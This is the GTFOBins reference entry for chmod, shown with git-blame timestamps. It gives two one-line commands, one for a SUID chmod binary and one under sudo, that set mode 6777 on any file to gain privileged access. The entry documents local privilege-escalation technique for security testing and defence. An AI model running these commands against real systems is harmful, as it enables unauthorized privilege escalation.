GTFOBins.github.io/_gtfobins/chmod.md

13 lines
325 B
Markdown
Raw Permalink Normal View History

---
2020-12-20 20:23:28 +00:00
description: This can be run with elevated privileges to change permissions (`6` denotes the SUID bits) and then read, write, or execute a file.
functions:
2018-10-05 17:55:38 +00:00
suid:
- code: |
LFILE=file_to_change
2020-12-20 20:23:28 +00:00
./chmod 6777 $LFILE
2018-10-05 17:55:38 +00:00
sudo:
- code: |
LFILE=file_to_change
2020-12-20 20:23:28 +00:00
sudo chmod 6777 $LFILE
---